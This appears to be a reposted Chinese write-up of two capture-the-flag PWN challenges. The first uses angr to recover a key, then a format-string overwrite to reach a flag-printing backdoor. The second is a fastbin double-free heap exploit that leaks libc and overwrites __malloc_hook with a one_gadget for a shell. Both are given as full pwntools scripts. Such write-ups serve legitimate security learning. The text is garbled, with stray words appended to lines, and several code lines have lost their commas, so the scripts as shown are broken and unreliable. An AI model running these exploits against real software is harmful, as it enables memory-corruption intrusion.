深思杯PWN復現(一)


MinZhulinux

題目地址:
web

https://pan.baidu.com/s/1fbtezOCoB2GXf2psd52wzAshell

提取碼:4pxd微信

這是第一道 PWN 題目,是一道格式化字符串漏洞的題目,可是開頭須要檢驗一個 key,要逆向找出那個 key編輯器


首先有一個對 key 的檢測
函數



要分析那一些 &&,把 key 找出來才能進入,直接使用 angr 就能夠ui

import angr
p = angr.Project("./pwn")
state = p.factory.entry_state()
sm = p.factory.simulation_manager(state)
res = sm.explore(find=0x08048817,avoid=0x0804882B)
print(res.found[0].posix.dumps(0))


找出來 key 是 xNd9y6,而後看一下格式化字符串漏洞解析的位置,是第四個url



程序有一個後門,能夠輸出 flag,覆蓋後面要執行的一個函數的地址爲它就能打印出 flag 了spa


from pwn import *
p = process("./pwn")
p.recvuntil("Key:")
p.sendline("xNd9y6")
p.recvuntil("your msg:")
payload2 = fmtstr_payload(4, {0x804A034:0x080486B5})
print(len(payload2))
p.sendline(payload2)
p.interactive()



關於格式化字符串漏洞能夠看以前的文章:PWN-格式化字符串漏洞
.net


heap_doublefree_x64


題目地址:

https://pan.baidu.com/s/1SVeskG4Rm9HTSmNR5jxL3A

提取碼: gdx7

這是一道 fastbin double free 的題目,經過這道題複習了一下以前學了又忘了的知識2333


free 的時候只是把存放的堆指針的地方給置爲 0 了,沒有把 chunk 給置爲 0

fastbin double free 的時候是這麼一個指針




能夠把 fd 指針的最後一位改爲 \x50,這樣再去 malloc 的時候就能申請到 0x603050

add(0x20,"1111")
add(0x20, p64(0) + p64(0x31) + p64(0) + p64(0x31))#要注意0x603050那裏的size
add(0x20"3333")
add(0x60"4444")#這倆0x60是爲了確保有後面0x110大小的空間
add(0x60"5555")#0x70+0x70+0x30=0x110
add(0x20"2333")#這個是防止0x110與top chunk合併的
delete(1)
delete(2)
delete(1)
add(0x20"\x50")
add(0x20"\x50")
add(0x20"\x50")
add(0x20, p64(0) + p64(0x111))


而後 free 掉,再 malloc 回來去 show 就能顯示出來,然而咱們會改掉後面那一位,不過沒關係,後三位基本都是 0x00 的

delete(3)
add(0x30"\x20")#11
show()
p.recvuntil("Total:11,Index->11\nSticky note:")
unsortedbin = u64(p.recv(6).ljust(8'\x00'))
libc_base = unsortedbin -0x100 - 0x3c4b20#這個使用main_arena算出來的

而後就能計算出 malloc_hook 與 one_gadget 的地址了

malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + 0xf1207
malloc_addr = malloc_hook - 0x30 + 0xd

在我電腦上 one_gadget 中的 0xf1207 能夠用

這個 malloc_addr 是算了個偏移,爲了後面申請到 malloc_hook 的時候能有個 size 位繞過檢查

而後仍是上面的套路,fastbin double free 把 malloc_hook 的地址改成 one_gadget

add(0x60,"1212")#12
add(0x60,"1313")#13
add(0x60,"1414")#14
delete(12)
delete(13)
delete(12)
add(0x60, p64(malloc_addr))
add(0x60, p64(malloc_addr))
add(0x60, p64(malloc_addr))
payload = "a" * 3 + p64(0) + p64(0) + p64(one_gadget)
add(0x60, payload)


而後去申請的時候就能拿到 shell 了



完整 EXP:

from pwn import *
context(log_level="DEBUG")
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def add(size,content):
  p.sendlineafter("choice:","1")
  p.sendlineafter("length of data:\n",str(size))
  p.recvuntil("Leave your message:\n")
  p.send(content)
  
def delete(index):
  p.sendlineafter("choice:","2")
  p.sendlineafter("want to delete:\n",str(index))
  
def show():
  p.sendlineafter("choice:","3")
  
def modify(index,content):
  p.sendlineafter("choice:","4")
  p.sendlineafter("want to modify:\n",str(index))
  p.sendlineafter("to modify:\n",content)

def quit(suggest):
  p.sendlineafter("choice:","5")
  p.sendlineafter("your advice:\n",suggest)

add(0x20,"1111")#1
add(0x20, p64(0) + p64(0x31) + p64(0) + p64(0x31))#2
add(0x20, p64(0) + p64(0x31))#3
add(0x60"4444")#4
add(0x60"5555")#5
add(0x20"2333")#6
delete(1)
delete(2)
delete(1)
add(0x20"\x50")#7
add(0x20"\x50")#8
add(0x20"\x50")#9
add(0x20, p64(0) + p64(0x111))#10
delete(3)
add(0x30"\x20")#11
show()
p.recvuntil("Total:11,Index->11\nSticky note:")
unsortedbin = u64(p.recv(6).ljust(8'\x00'))
libc_base = unsortedbin -0x100 - 0x3c4b20
malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + 0xf1207
malloc_addr = malloc_hook - 0x30 + 0xd

add(0x60,"1212")#12
add(0x60,"1313")#13
add(0x60,"1414")#14
delete(12)
delete(13)
delete(12)
add(0x60, p64(malloc_addr))
add(0x60, p64(malloc_addr))
add(0x60, p64(malloc_addr))
payload = "a" * 3 + p64(0) + p64(0) + p64(one_gadget)
add(0x60, payload)
p.recvuntil("Your choice:")
p.sendline("1")
p.recvuntil("Input the length of data:\n")
p.sendline("21")
p.interactive()

本文分享自微信公衆號 - 陳冠男的遊戲人生(CGN-115)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索